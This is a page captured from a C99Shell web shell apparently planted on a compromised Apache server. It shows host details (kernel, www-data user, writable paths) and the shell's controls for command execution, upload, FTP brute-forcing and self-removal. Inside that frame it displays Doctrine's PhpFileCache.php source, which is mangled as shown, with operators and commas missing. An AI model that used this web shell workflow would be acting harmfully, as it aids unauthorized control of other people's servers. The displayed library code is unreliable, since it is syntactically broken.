!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/doctrine/cache/lib/Doctrine/Common/Cache/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PhpFileCache.php (2.72 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\Common\Cache;

use function 
is_object;
use function 
method_exists;
use function 
restore_error_handler;
use function 
serialize;
use function 
set_error_handler;
use function 
sprintf;
use function 
time;
use function 
var_export;

/**
 * Php file cache driver.
 *
 * @deprecated Deprecated without replacement in doctrine/cache 1.11. This class will be dropped in 2.0
 */
class PhpFileCache extends FileCache
{
    public const 
EXTENSION '.doctrinecache.php';

    
/**
     * @var callable
     *
     * This is cached in a local static variable to avoid instantiating a closure each time we need an empty handler
     */
    
private static $emptyErrorHandler;

    
/**
     * {@inheritdoc}
     */
    
public function __construct($directory$extension self::EXTENSION$umask 0002)
    {
        
parent::__construct($directory$extension$umask);

        
self::$emptyErrorHandler = static function () {
        };
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doFetch($id)
    {
        
$value $this->includeFileForId($id);

        if (
$value === null) {
            return 
false;
        }

        if (
$value['lifetime'] !== && $value['lifetime'] < time()) {
            return 
false;
        }

        return 
$value['data'];
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doContains($id)
    {
        
$value $this->includeFileForId($id);

        if (
$value === null) {
            return 
false;
        }

        return 
$value['lifetime'] === || $value['lifetime'] > time();
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doSave($id$data$lifeTime 0)
    {
        if (
$lifeTime 0) {
            
$lifeTime time() + $lifeTime;
        }

        
$filename $this->getFilename($id);

        
$value = [
            
'lifetime'  => $lifeTime,
            
'data'      => $data,
        ];

        if (
is_object($data) && method_exists($data'__set_state')) {
            
$value var_export($valuetrue);
            
$code  sprintf('<?php return %s;'$value);
        } else {
            
$value var_export(serialize($value), true);
            
$code  sprintf('<?php return unserialize(%s);'$value);
        }

        return 
$this->writeFile($filename$code);
    }

    
/**
     * @return mixed[]|null
     */
    
private function includeFileForId(string $id): ?array
    {
        
$fileName $this->getFilename($id);

        
// note: error suppression is still faster than `file_exists`, `is_file` and `is_readable`
        
set_error_handler(self::$emptyErrorHandler);

        
$value = include $fileName;

        
restore_error_handler();

        if (! isset(
$value['lifetime'])) {
            return 
null;
        }

        return 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--